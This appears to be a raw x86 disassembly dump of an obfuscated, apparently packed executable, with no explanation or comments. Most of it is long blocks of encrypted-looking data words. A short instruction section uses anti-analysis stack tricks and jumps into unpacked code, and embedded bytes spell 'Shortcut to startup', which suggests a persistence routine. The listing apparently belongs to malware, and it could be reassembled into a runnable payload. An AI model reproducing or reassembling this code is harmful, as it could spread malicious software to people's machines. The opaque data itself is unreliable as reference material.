		dd 8B06A92Dh, 0FC08EBC0h, 0D916F994h, 8DEECFACh, 0AE41828Dh
		dd 9FBA6606h, 0CD8D898Bh, 6A06A916h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0E4E0C350h
		dd 0B19161F2h, 68B0F95h, 8B000000h, 0A91789B5h,	0E585C706h
		dd 5406A90Ch, 6A000069h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 8B9EC350h, 0A903719Dh
		dd 6D9D0106h, 0C706A91Fh, 0A911CD85h, 6, 0BD9D2900h, 0FF06A90Ch
		dd 0A92409B5h, 0AD9D8B06h, 0FF06A91Dh, 0A9328195h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 799249ACh, 0EE9BD89h, 0B50306A9h, 6A912DDh, 95FF006Ah
		dd 6A92D95h, 1CEBC08Bh,	6DA5ED58h, 0ADC017FFh, 0A92F2F05h
		dd 0B55F0D68h, 79032EBDh, 0F03970AAh, 0A402FA40h, 0EA937811h
		dd 0BB931150h, 78CA325Ch, 9FDF9B77h, 9FD79313h,	0BB93088Fh
		dd 78C253C5h, 8F6C4661h, 525407A6h, 0BB9312B1h,	19D31AAFh
		dd 0C62B700Ah, 3A5399CDh, 0AF08A762h, 0A62E9186h, 0BB95BBF1h
		dd 6101B04h, 0BD3A0689h, 0EB8A665Ch, 353997Dh, 0BB931614h
		dd 9FD69702h, 261E146Ch, 0BD38A6BEh, 0E3C8C18Eh, 0AFA2AF3Bh
		dd 0CF9314F5h, 3C04239h, 0BB931614h, 9FD69702h,	261E146Ch
		dd 0BD38A3A9h, 0E3C8C18Eh, 53C412D2h, 0BB93125Fh, 0E4504D0Eh
		dd 0BFB76E9Eh, 0BFB7560Ah, 0BB9312D0h, 435045A5h, 0BB96FBDCh
		dd 13512B8h, 5238DE8Ch,	0BB931225h, 1084C23Ch, 8817EE5Ah
		dd 3240CD58h, 1296A36Fh, 0DD539977h, 0C622CA34h, 3F9C16F4h
		dd 0BB93162Eh, 53C1127Dh, 0BB931288h, 0E15048E5h, 0BFB7466Bh
		dd 0BFB756F0h, 0BB9312AFh, 350401Eh, 0EC9CDBDEh, 0E44D9971h
		dd 0AD928700h, 61A146Ch, 0BD3A0293h, 0BB66AFF2h, 0B4931411h
		dd 0BB9302D8h, 2E1E212Eh, 5295BB12h, 0BB931133h, 8D7C93A3h
		dd 9C93AC61h, 0BBF91071h, 0BB90FAEEh, 0E5B3125Ch, 0CF1A4CEDh
		dd 0FF121633h, 0BB8416AFh, 0EDD512C5h, 3E2F721h, 0D7169F13h
		dd 0D195BE37h, 0B87B425Ch, 9B93122Eh, 32CBD14Fh, 3A9736CFh
		dd 0A2973681h, 0FB9312E2h, 2DABD121h, 0ADA881A0h, 0BBF9C2A3h
		dd 0BB90FA7Fh, 0E2B31217h, 0F71A4B48h, 0FF1216E1h, 0BB8616C6h
		dd 0EAD21271h, 0DD732E7Bh, 0B0C8FAE5h, 12B3D3B3h, 0B4539711h
		dd 0BB93DF0Fh, 0ECAB93C5h, 0B4689384h, 0BB9350F4h, 8A10A8B8h
		dd 3AF540A8h, 0B9911656h, 0B8D49618h, 0BBF9128Bh, 0BB90FA92h
		dd 0E4B312E2h, 0C71A4DB2h, 0FF12169Ch, 0BB881678h, 0ECD4122Eh
		dd 0E91D43D4h, 0AC19409Ah, 0F57260h, 339CBDF1h,	0BB931273h
		dd 0DDF273D8h, 0DB0F2ADDh, 0BBE79721h, 2E181217h, 0BD3A321Eh
		dd 53916A45h, 0BBF797EDh, 0EBA1271h, 0BD3A0649h, 0BDEB933Ah
		dd 3E9CB92Eh, 0BB931245h, 53C312E1h, 0BB9312C6h, 0E3504AC2h
		dd 0BFB756F8h, 0BFB75639h, 0BB931248h, 3850426Eh, 0A962A79Eh
		dd 2E1A1422h, 0BD3A1504h, 0BB91AE0Bh, 0EA937871h, 0BB931150h
		dd 78CA325Ch, 9FDF9B77h, 9FD79313h, 0BB93058Fh,	78C253C5h
		dd 83764CEBh, 0B4B29FFAh, 0BB2D1411h, 30D5135Dh, 12B5ABB3h
		dd 0D7169F11h, 0D195BE04h, 0B87B47C5h, 9B9312E2h, 32CED12Ch
		dd 3A9736D4h, 0AC973618h, 0FE93122Eh, 0D476D142h, 2E18716Fh
		dd 0BD3A1C8Ch, 7D13C21Dh, 0B45397D2h, 0BB91353Ch, 0B7121D5Ch
		dd 0B493122Eh, 0BB931495h, 16169B8Bh, 3A95BBF0h, 0B9AE74DAh
		dd 94161D73h, 309312B8h, 0BDEB9382h, 0C1CC2F48h, 0B9B49618h
		dd 0BBF9128Bh, 0BB90FA93h, 0E5B312E2h, 0CF1A4CB2h, 0FF12169Ch
		dd 0BB8B1678h, 0EDD5122Eh, 0FB9BE1D4h, 3AF53629h, 0B4F38EFDh
		dd 0BB937F67h, 0EE937871h, 0BB931150h, 78CE325Ch, 9FFF9B73h
		dd 9FD79313h, 0BB93078Fh, 78C657C5h, 0C313C175h, 3E9CFA73h
		dd 0BB9312FEh, 53C61236h, 0BB93122Dh, 0E6504F37h, 0BFB77E02h
		dd 0BFB75644h, 0BB9312F4h, 75504734h, 30F57585h, 0C3127484h
		dd 0B4531228h, 0BB930B92h, 6A163B8Bh, 5295BBE7h, 0BB93137Fh
		dd 0BB931B98h, 0A885F1B8h, 957B637h, 0BB2DC957h, 30ED1316h
		dd 1285A71Eh, 4E2E99C3h, 3695BBEBh, 171C7EF4h, 60241DBEh
		dd 26B8C2A3h, 0BD3A16B3h, 0BB9318FEh, 1419888Bh, 5C2B0E4Eh
		dd 3E3004D1h, 92171DB1h, 0B49312B9h, 0BB931CDBh, 361A722Eh
		dd 0BD3A0556h, 99428FA2h, 3BF2146Ch, 3E9CFADAh,	0BB931222h
		dd 496F5A02h, 0BEEB921Dh, 0FF161D5Dh, 0D1931217h, 0B87B428Bh
		dd 9B9312C5h, 32CBD1BAh, 3A973635h, 0AD9736FCh,	0FB93125Ch
		dd 56B1D17Eh, 0BCEB9260h, 0B9171DD8h, 309312C4h, 128CE377h
		dd 0BB82FB77h, 0FB712B8h, 619996E9h, 567B029Eh,	1182C862h
		dd 0DD089CD3h, 0BE1C2A44h, 0BB3D97EDh, 0BBF91271h, 0BB90FAEFh
		dd 0E4B3125Ch, 0C71A4DEDh, 0FF121633h, 0BB8616AFh, 0ECD412C5h
		dd 0B4CF9621h, 0C313C5C6h, 3E9C7ABEh, 0BB9312D8h, 9BEA8FA7h
		dd 3AF514BEh, 9E6C19F3h, 0BBE197CAh, 0BBF912E2h, 0BB90FA24h
		dd 0E6B312B8h, 0D71A4F9Fh, 0FF12160Ah, 0BB881633h, 0EED6128Bh
		dd 3D5FCF06h, 937F39C0h, 0BB98FA8Eh, 588E12B8h,	0E936C2D5h
		dd 602667D8h, 0DD7A4DFAh, 0D193128Bh, 0B87B43C5h, 9B9312E2h
		dd 32CAD128h, 3A9736F4h, 0AE973618h, 0FA93122Eh, 9B07D146h
		dd 0ED4C99EDh, 0BB93192Dh, 59C2E9E2h, 0F310E203h, 833DB53h
		dd 0B3D2A7D5h, 0E0CA1487h, 0BBF9D23Ch, 0BB90FADDh, 0E5B312C5h
		dd 0CF1A4C21h, 0FF121655h, 0BB88169Ch, 0EDD5125Ch, 884355EDh
		dd 0CFEBA6BEh, 0BB98FB8Ah, 5A1312C5h, 0BB92AA87h, 0C9C1271h
		dd 0DBC38268h, 0BB959353h, 369C122Eh, 0BB931217h, 0BB931562h
		dd 0E58049C5h, 4111A0ADh, 1F58210h, 61EDE62h, 0BD3D53FFh
		dd 0FD769FA3h, 982B14B9h, 0B8E474DEh, 1291C740h, 7A5C39E4h
		dd 1316BB2Dh, 0A71E30EDh, 99C31285h, 0BBEB4E2Eh, 7EF43695h
		dd 1DBE171Ch, 0E9836024h, 58A4F305h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 0C6C35040h,	1FCAEDC7h, 6651AFB0h
		dd 0D580FB8Bh, 57006A02h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 40EEA232h, 0C00B8708h
		dd 84840Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0A357CC3h, 9D799C01h, 8DC0999Dh
		dd 0A94DC0B5h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 75D27C18h, 3B83D69h, 0F000000h
		dd 28Eh, 0FFD1B600h, 50006AE6h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 855C3EE2h, 76E22D69h
		dd 0B96602B7h, 0F401EDDh, 6E8F9BFh, 0FC000000h,	44842F14h
		dd 14E9E0h, 79D50000h, 935D4744h, 0A86F792Eh, 6D19C2BAh
		dd 0B5E6FCEBh, 8B592E8Eh, 1DBD83C0h, 6A913h, 0BD830975h
		dd 6A91431h, 50197400h,	0B8C08B53h, 403h, 2098589h, 9D8D06A9h
		dd 6ABB4C3h, 585BD3FFh,	1431BD83h, 740006A9h, 0B8535017h
		dd 403h, 2098589h, 9D8D06A9h, 6ABB164h,	585BD3FFh, 0AE9CBA66h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 6AC35545h
		dd 15D6F77Bh, 4C4AD981h, 0C08B149Ch, 3565BD8Bh,	0E86106A9h
		dd 0Dh,	221680ABh, 0E179589Bh, 0EC0C2698h, 8B5EFC1Bh, 18C681C3h
		dd 0E800005Dh, 0Eh, 0D23F4847h,	23C2D4A6h, 0C5CC8A79h
		dd 0BD8B0F62h, 6A92D65h, 4154B95Fh, 0C1814211h,	0BDEED5C6h
		dd 168BFD8Ah, 0C281BEB7h, 2D3382Bh, 1870Fh, 81F50000h
		dd 0E02D8EAh, 0FE9604Fh, 0C1000000h, 0BDD2D476h, 3C3D1515h
		dd 0AA9A45BEh, 8F0FCD93h, 2, 8161CE8Bh,	5919D8C2h, 6D958962h
		dd 5206A90Eh, 0A98D8957h, 5F06A911h, 6E9068Fh, 0DB000000h
		dd 0E21A1279h, 3EE83ADh, 0DC99D8Bh, 814E06A9h, 647331E8h
		dd 1E9832Bh, 0FF90850Fh, 9529FFFFh, 6A91A55h, 14E8h, 1905DF00h
		dd 0B68672Eh, 0F6AA4FC6h, 0EEEC51BDh, 7B2BAFAAh, 0B1BD8BD6h
		dd 5E06A911h, 0AE9h, 0F2E33000h, 2F1D9AD6h, 81212437h
		dd 672BC6h, 298D8900h, 2B06A90Dh, 7E8C0h, 4B600000h, 7A4F1627h
		dd 89BD8B58h, 5F06A90Eh, 813034FFh, 7BA943EFh, 9D895A3Eh
		dd 6A90F61h, 66E5F281h,	0EF804652h, 8F28167h, 8B0755C0h
		dd 0A92965BDh, 0B2EA8106h, 5104DBE3h, 0CB815259h, 7E40FA2Eh
		dd 8906048Fh, 0A929418Dh, 1810F06h, 0F5000000h,	7909E881h
		dd 0C08135DEh, 35DE7905h, 1DD58D8Bh, 0F88106A9h, 0FFFF99C0h
		dd 1E850Fh, 0BD8B0000h,	6A91EE5h, 37E9h, 0DD356100h, 422E3A5Ah
		dd 6EAEE137h, 0D6524546h, 7C91323Ah, 0CE9h, 0AC783C00h
		dd 0D09F935Ch, 0A0988BFBh, 0FF6AE968h, 9D2BFFFFh, 0D9941C47h
		dd 94768102h, 1838897Bh, 4AEC8D8Dh, 0BF0F06AEh,	0CD8D89DEh
		dd 106A916h, 0A92D65B5h, 0EFBA6606h, 0E585C73Fh, 0A006A90Ch
		dd 6A00006Bh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 600BC357h, 0DD858BFAh,	0C706A910h
		dd 0A911CD85h, 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0C685B336h, 8BAA2891h
		dd 15958BDEh, 0FF06A905h, 0A92409B5h, 0D9B86606h, 5D8D89DEh
		dd 0FF06A90Fh, 0A9328195h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 8B56F505h
		dd 0A9025185h, 6A5F06h,	2D9595FFh, 0C08B06A9h, 0E34B1CEBh
		dd 0FA67209Fh, 0ACE45AFFh, 8B00BF28h, 590DEA6Fh, 0CDBF0BBFh
		dd 6E4CEF26h, 7E88114h,	10000000h, 0EDA99ABAh, 0B589986Ch
		dd 6A9065Dh, 0EE95Fh, 64F20000h, 0D72CBA0Ah, 7E7D34DDh
		dd 35D6573Dh, 5D56C781h, 6E90000h, 29000000h, 0F3674F39h
		dd 0FD22B5Dh, 38Ch, 0B7C18000h,	66171C8Bh, 88C0D981h, 9AAAEB81h
		dd 8166451Dh, 814878E6h, 0ECB3CC3h, 0F5952909h,	8106A90Eh
		dd 0D107DEBh, 830F6Fh, 89000000h, 8166171Ch, 0E8504EE6h
		dd 14h,	0BCBED582h, 8ECC4560h, 6E4890A7h, 3D968738h, 0FDCBA7FFh
		dd 68B0Fh, 810F0000h, 0
		dd 4EA8358h, 0D3DF8060h, 29458589h, 816106A9h, 0FFA35CFAh
		dd 8D850FFFh, 89FFFFFFh, 0A914E18Dh, 712ADE06h,	4B46D4D4h
		dd 557F01DCh, 525CD4C8h, 0B336398h, 2633A9A9h, 265AF198h
		dd 3082EF5Eh, 4E603331h, 0A5E4FFB4h, 3686F867h,	0A3BEA031h
		dd 209F2064h, 0A3BA7967h, 209AE1D9h, 1DAD71Bh, 29333331h
		dd 2633831Dh, 0FEB6C098h, 763508D3h, 6DF9D615h,	0D963AF36h
		dd 8F06950Dh, 2664839Eh, 23593598h, 6DE91F15h, 0AB634B36h
		dd 88786C1Dh, 0B3CC039Eh, 209AB525h, 0A23C1493h, 26336AA1h
		dd 6DE9B015h, 0CE639C36h, 26334DAAh, 0A3BEF6D8h, 209D1878h
		dd 0FCB624C8h, 76357AD3h, 26EAFF67h, 0E2B03331h, 0FCB61794h
		dd 7635E3D3h, 6DF92315h, 0D9635536h, 8F06E80Dh,	26513D9Eh
		dd 0AD666A98h, 74646474h, 2E4E11CEh, 24DA8DABh,	6633A698h
		dd 260CD3DFh, 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h
		dd 31B948ABh, 0AD03A718h, 0AD63E868h, 2C88005Ah, 0CF33A998h
		dd 2633D49Bh, 0A57D896Fh, 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h
		dd 0E638EEDFh, 0D9FDD697h, 0E7B85667h, 7F6C8EC6h, 2637A851h
		dd 6DFB8815h, 0ABBE9C36h, 209D0165h, 9320h, 0E7FC7800h
		dd 7310271h, 0C783C8D0h, 850F4904h, 0FFFFFFF2h,	4CFDB58Dh
		dd 8D8D06AEh, 6AE4D1Ch,	0E983CF2Bh, 20C88B05h, 0CE08C31h
		dd 9C67379Bh, 0C194BAEAh, 0B079816h, 6A9C885h, 30AB53Dh
		dd 3A673132h, 0FD82B2D5h, 26A831C7h, 2853E32h, 68013132h
		dd 1318BCBBh, 0BD0E379Bh, 0EBE850F8h, 32013133h, 1BBA6186h
		dd 0A957B823h, 106B1536h, 802D961h, 5F213132h, 5E886AF1h
		dd 45803516h, 80193516h, 13423132h, 80A9C4F1h, 110E356Ah
		dd 62FF157Eh, 7E96632h,	22013132h, 885EF26Dh, 105154Eh
		dd 56051576h, 67013132h, 0EE59F265h, 80FD892h, 0E133132h
		dd 0D8BC38AAh, 0E43E20FBh, 0F4028A3Dh, 400136DAh, 0A4A97832h
		dd 0DC4541EDh, 2D18BC03h, 5C5B379Bh, 207B03Dh, 94283132h
		dd 86A834CBh, 202DF1B1h, 2FECDDB2h, 9B60CE85h, 5A015B3Ah
		dd 40132DAh, 0C15B1132h, 2555B868h, 0A445B036h,	40012536h
		dd 0E3537332h, 959CBA91h, 0E1079833h, 4013135h,	0D31D43A4h
		dd 67B3BE7Dh, 0EAFD79B9h, 43E96232h, 13132h, 995AF269h
		dd 8905156Eh, 13051576h, 41013132h, 6203F261h, 80ECB64h
		dd 4001313Ah, 0D59CBA65h, 4F079801h, 0BD0A5152h, 2A814EFh
		dd 884AF8B3h, 67606616h, 31AAC0B3h, 79805753h, 0A40ECE04h
		dd 1001315Dh, 8B77DEB2h, 0B92838F3h, 4A8263Bh, 0EE808B2h
		dd 8001F9B7h, 75B41832h, 0AB079836h, 0B9076087h, 940BA34h
		dd 2E908C03h, 0CA02379Bh, 20748CB9h, 4182379Bh,	15015B37h
		dd 200132DAh, 0D35C1132h, 2C6DB86Fh, 2045B036h,	2012736h
		dd 0C2547432h, 0A92B4B83h, 0E92CA0AFh, 0B038B034h, 1F8A7279h
		dd 80149B7h, 22BB5732h,	9DEAB038h, 8C37EBA2h, 294CF1BFh
		dd 12015B34h, 200132DAh, 0D35B1132h, 2C55B868h,	2045B036h
		dd 2012636h, 0C2537332h, 0E5A48485h, 40013DDAh,	0A6ACC232h
		dd 0C99C6C53h, 0A6F6526Bh, 11B41816h, 59079836h, 101328Ah
		dd 15BC0032h, 0BF07981Bh, 76015BD3h, 100132DAh,	0CB5F1132h
		dd 2075B86Ch, 2645B036h, 1012836h, 43577732h, 0D0B9AE99h
		dd 0FA8142A1h, 106B504Fh, 802D961h, 5F213132h, 5E886AF1h
		dd 45803516h, 80143516h, 13423132h, 0C9C709F1h,	10013120h
		dd 46C62013h, 74E6EE63h, 0B49FD20Eh, 0DD8180D0h, 3D8CBEE3h
		dd 46AF7C2Ch, 6F94BCBFh, 64B9379Ch, 3B00A3B1h, 0AD1BA4B7h
		dd 20CE1A34h, 0CE08C31h, 9C67379Bh, 0C194BAEAh,	0B079816h
		dd 6A9C885h, 30AB53Dh, 0E9833132h, 8BA4F305h, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 339B9BC3h, 71BD8B8Ah, 6A06A925h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0E22AC352h
		dd 9B19F89Dh, 65958BE9h, 8B06A923h, 0B0E9C3h, 66600000h
		dd 0C2F6DA8Ch, 0C850F04h, 3B000000h, 0A9015585h, 36840F06h
		dd 3B000000h, 0A9272185h, 2A840F06h, 3B000000h,	0A9004D85h
		dd 1E840F06h, 3B000000h, 0A9295985h, 12840F06h,	83000000h
		dd 0A90F55BDh, 840F0106h, 5, 5FE9h, 3D08B00h, 0BA8B3C52h
		dd 88h,	85784A8Bh, 49840FC9h, 81000000h, 0F8C2h, 0C728B00h
		dd 598BC803h, 14518B1Ch, 0B8BD803h, 840FC985h, 10h, 820FCE3Bh
		dd 17h,	830FCF3Bh, 0Fh,	4A04C383h, 0FFDC850Fh, 0DE9FFFFh
		dd 8D000000h, 0A94DC09Dh, 5B806h, 0E3FF0000h, 0D00BC361h
		dd 294D9D8Dh, 39B806A9h, 89000000h, 0A90EA585h,	0E806h
		dd 5580000h, 0Dh, 39E90389h, 0
		dd 0Dh dup(77E600h), 0FF77E600h, 6E8h, 44F90200h, 0BF748BC7h
		dd 3C5FD18Bh, 0C681F85Eh, 672Bh, 9FB95DB6h, 8A000019h
		dd 0E836FFE7h, 0Eh, 88056CE8h, 1FEAF165h, 4BFB9090h, 0D48A3BB0h
		dd 0E78A5B5Ah, 0D10AC381h, 60BF7076h, 810B2772h, 601304C3h
		dd 0E8816669h, 0EB819156h, 3F0AC207h, 0CE9h, 1043D000h
		dd 0BE695405h, 348E9BE8h, 840F5354h, 0
		dd 8166068Fh, 839733CFh, 0D08B02EEh, 0D78B4E4Eh, 1E981h
		dd 850F0000h, 10h, 0E9D68B66h, 24h, 0F85F9AC8h,	5EDBB0ABh
		dd 13CF8166h, 0FF7BE988h, 2A89FFFFh, 0D736DD1h,	3F244548h
		dd 0B19E241Eh, 7735C364h, 52528D8Dh, 6A06AEh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0B578ABC3h
		dd 8FDB523h, 83B706A9h,	16CD8D89h, 0B70F06A9h, 0D99D89FBh
		dd 0C706A929h, 0A90CE585h, 5C1C06h, 29850100h, 0C706A91Fh
		dd 0A911CD85h, 6, 3850F00h, 0F000000h, 0B5FFFFBFh, 6A92409h
		dd 3F23BB66h, 328195FFh, 0D18B06A9h, 7E9h, 67EEF300h, 7663E2A8h
		dd 95FF006Ah, 6A92D95h,	1CEBC08Bh, 9195E6DCh, 0D5A5E59Dh
		dd 529C8447h, 6DDC5C67h, 63A8FE90h, 370EFAB4h, 54C5163Dh
		dd 22E9h, 0B744B200h, 36h, 6 dup(0)
		dd 0E9000000h, 543h, 0FDFA3AD2h, 8B88BA57h, 19164CE5h
		dd 0A6A3D573h, 2D2A6600h, 0AE4832F2h, 33CF7572h, 0C35E0401h
		dd 4FEE9491h, 36CA201Dh, 0F5C34EA8h, 0B9D74AF5h, 0CF629433h
		dd 0E375AF49h, 0E692AB98h, 58BA0DEDh, 0C2F49339h, 76159D2Fh
		dd 7C02B144h, 0A44CAEE2h, 0B941D305h, 0D186E81Ah, 0EA7CAE4Bh
		dd 932EC856h, 0B96AFCA3h, 925D9927h, 8A3BFCA3h,	92247328h
		dd 0A6396B0Ah, 0B84B8520h, 39D45A09h, 0F440A507h, 0C5C2F493h
		dd 0DF67841Fh, 73830F41h, 2DFCA392h, 2AD0CD7Ch,	30C2558Fh
		dd 92E80E9Ch, 7B8FCA3h,	2B61FDA5h, 0C62E9198h, 464FED75h
		dd 31E073A9h, 0DD782082h, 60F4A6A3h, 0A39324D2h, 61C374FCh
		dd 55E81AB9h, 0A392F8C9h, 6FA542FCh, 82BA56DCh,	99CB69EFh
		dd 7FC25706h, 0BE38C635h, 0DAFCA392h, 0B1167A29h, 0D664F84Bh
		dd 0FCA39320h, 486DCF80h, 0A6B87CAAh, 4EEBh, 9F27AB00h
		dd 179F3602h, 29BAC2B2h, 6FC3317Ah, 47EB6480h, 6C9E3DE5h
		dd 0BFA74DD9h, 80E5FCA3h, 0A99C5634h, 1F9A6B8h,	0B9000000h
		dd 0F3819633h, 0FCA41603h, 0C966EC9Dh, 0CB51E493h, 0E369FC2Eh
		dd 31801345h, 0A44186EEh, 2CCB716Eh, 33BFFDFAh,	4ED46799h
		dd 53E87BB1h, 0C963A410h, 55F49A97h, 166AE989h,	1ECD195Eh
		dd 0D871F98Bh, 0E681079Ah, 0BB6A19ACh, 0FD4ED072h, 0F85ACDBBh
		dd 0EA7DB750h, 3E1C68CBh, 0A6B8CAC4h, 87F1h, 9327B100h
		dd 0A415F105h, 6CFEAFFCh, 0A41618DEh, 75D788FCh, 6F0133CDh
		dd 15A94DDBh, 46F7FCA4h, 10A92FE4h, 0ADF03FD2h,	2A660047h
		dd 0B3ED872Dh, 0C8FC9A20h, 49B31635h, 0B9057989h, 5D3CA6h
		dd 33FC0000h, 0BFF19099h, 3CCE7D2Ch, 0ECC09FF1h, 0CA2C6B67h
		dd 20F48F15h, 8F53FE0Eh, 51E39244h, 0E8C72FBDh,	20D1FCA3h
		dd 30C3019Ah, 416A1F81h, 896DFB8Fh, 17FCA3E8h, 0B4011D66h
		dd 29B254Eh, 8EF13BA0h,	85C3C0F4h, 0D1649633h, 0A4157C45h
		dd 317BE0FCh, 0B8FFA151h, 1F4A6h, 33B40000h, 0BEF4919Ah
		dd 57F67C0Fh, 288B9225h, 0B0E27BDCh, 0C9FB961Eh, 4B964867h
		dd 3B9254E5h, 68EF069h,	14A234BCh, 0F27E41EDh, 23B548F9h
		dd 3AF5018Fh, 0F2A3F5FAh, 1749E890h, 9D5741Ah, 2D5A562Dh
		dd 0D163126Fh, 0DCA89186h, 48AA72C9h, 0F7ED0793h, 0E681F5FAh
		dd 0F7BB3BC9h, 34E5F5FAh, 0CE6CF285h, 75B8079Ah, 13769F0Fh
		dd 95C766A9h, 4A53F298h, 31C473B1h, 69F70CABh, 0F5FAF78Dh
		dd 18AB5A0Bh, 93F44083h, 0A2C5C2F4h, 0A00FE150h, 15945h
		dd 6F530500h, 647F70E7h, 550497C9h, 0F607350Ch,	7A89D5ADh
		dd 0CE7DD796h, 7D63AE3Ch, 0F2A3F27Eh, 313AD95Fh, 1AC95C96h
		dd 0B145D96Bh, 0FA6ED323h, 901CCDF5h, 0F5FA6E66h, 1F8132h
		dd 0F689BB5Ah, 0C9FD170h, 87C83477h, 96B9B6E8h,	0A00F585Ch
		dd 8CBE5DE5h, 94CA2Ah, 538A0000h, 62F08280h, 7CA41574h
		dd 0AE48D66Ah, 0EA7CA416h, 0AC5DD739h, 0DCF5921Ah, 0A416A84Eh
		dd 9847F87Ch, 0A4EF8136h, 9725CD23h, 7CA4515Fh,	0C23F8839h
		dd 5907693Bh, 7CA4F49Dh, 2DC951E5h, 53B564F7h, 0A13586EEh
		dd 0A4F4E313h, 0AA0CBD7Ch, 0BF51B122h, 0A52EE02Bh, 425A9C2Ah
		dd 95467CA4h, 0D1476F4Ch, 0A4E3B343h, 8D3CED7Ch, 0E3896DFBh
		dd 66177CA4h, 0E3805604h, 2FE0FCA4h, 4476159Dh,	0C611C3E2h
		dd 3DAA09E7h, 821CA20Ch, 0AA0CBB4Eh, 6D67h, 6F532900h
		dd 51D70DAAh, 3EED80B2h, 0D66FFD8Fh, 22F27F2Fh,	0BD4BDF71h
		dd 0F5FAF139h, 9F54B667h, 4B487A19h, 41D406A5h,	0FAF10AB5h
		dd 5BE395F5h, 0C72C8EC0h, 497B1A7Dh, 0F4FCC64Ch, 4076D462h
		dd 11C2EBC9h, 2759F87Eh, 90DB8D94h, 59B9AAD8h, 6677C064h
		dd 9C1DABCBh, 0F73DA204h, 4CDE12B0h, 6AA08CBEh,	0BA54DCF2h
		dd 9544F386h, 6F535A98h, 0D35BEF81h, 0C2710436h, 6498B260h
		dd 2EB6F272h, 19C85B91h, 42F23DB7h, 62548FD8h, 7B749C3Dh
		dd 4441DF32h, 0E8700295h, 0FB7194Bh, 61AC3E70h,	0A4320F2Eh
		dd 0F5F5B352h, 37549D4Eh, 6B8AEC66h, 61F426C5h,	0E11844D5h
		dd 92DA1DA5h, 0B69AD621h, 0BA40EFF7h, 811B058h,	8C89386Ch
		dd 821547E6h, 972A5EFCh, 74C72D90h, 8DA452E0h, 43F4C5ECh
		dd 919A39E1h, 100DBCF6h, 699CB6Ah, 3E5h, 2D4DA700h, 0D6699B33h
		dd 0EC7FB150h, 699CB66h, 1DB0E480h, 30C3FD97h, 41D410AAh
		dd 58EB1DBBh, 68FB39D2h, 7C0F45E2h, 4EC812Ah, 54000000h
		dd 8324048Fh, 50042404h, 405E089h, 2D000000h, 4, 5C240487h
		db 89h,	3Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebp
		push	esi
		mov	esi, 4AC968AEh
		mov	ebp, 0BBE4E9F1h
		add	ebp, esi
		pop	esi
		mov	edi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 8
		add	edx, ebp
		mov	[edx], edi
		pop	edx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_54F8A1
; ---------------------------------------------------------------------------
		dd 0B81027F5h, 6AE5758h, 0E0FFC503h, 1D0E7143h,	3FEA6745h
		dd 77B25CDh, 33B244C4h,	427C8085h, 512C69C1h, 38ABE33Fh
		dd 0B7043D5h, 2CD351C9h, 31A0EFAh, 330026C1h, 3F23FA26h
		dd 99E9h, 2BE8DA00h, 6F685306h,	75637472h, 6F742074h, 61747320h
		dd 70757472h, 20h dup(0)
		dd 0C6E90000h, 6800000Fh, 6AE5A88h, 0FBF14FE9h,	5BA468FFh
		dd 45E906AEh, 68FFFBF1h, 6AE5D94h, 0FBF13BE9h, 5DD368FFh
		dd 31E906AEh, 68FFFBF1h, 6AE5E8Eh, 0FBF127E9h, 5F2A68FFh
		dd 1DE906AEh, 68FFFBF1h, 6AE6326h, 0FBF113E9h, 65F668FFh
		dd 9E906AEh, 68FFFBF1h,	6AE6716h, 0FBF0FFE9h, 65F59EFFh
		dd 0BD4DF82Dh, 12A25085h, 65F5A5DAh, 0BB4BF82Dh, 31968783h
		dd 87BCF484h, 0DE134BDBh, 32679F2Fh, 7CC0F888h,	0AAEF88EDh
		dd 0F73C1FAEh, 59DC8687h, 16C61BABh, 77D91986h,	0CB309D0Ah
		dd 1900F3B2h, 0F042D27Ch, 3CE619AEh, 0F3011A7Fh, 99CE1900h
		dd 0A3F85AEAh, 0B6F663F3h, 0E792C554h, 0B926B664h, 6AAA1779h
		dd 0F3DD76DBh, 0E82A1900h, 598E3D53h, 52D2472Fh, 279314A4h
		dd 3CCB2D62h, 0AA18A7D7h, 0F562A41Fh, 0A9C18B90h, 4E81101Fh
		dd 63A310A0h, 0C5FA53CEh, 0AD41AC12h, 0EB7B2659h, 6EA93E7Eh
		dd 42h,	7202AEE1h, 0DB0C8DDDh, 1C3F2DADh, 59BB81ADh, 7E165CAh
		dd 0D6091FAAh, 164F7726h, 4C363E2Eh, 0E32555EAh, 3041176h
		dd 0F4911FA9h, 6EB36659h, 8DFAAD42h, 0A90F0F28h, 59ADC1Fh
		dd 0D9CAh, 0DC865A00h, 3F72DF4Ch, 57970494h, 5FE28FC2h
		dd 1DCB20B0h, 8BBE2B8Dh, 0B1E451E1h, 0D83F7707h, 1900F8F4h
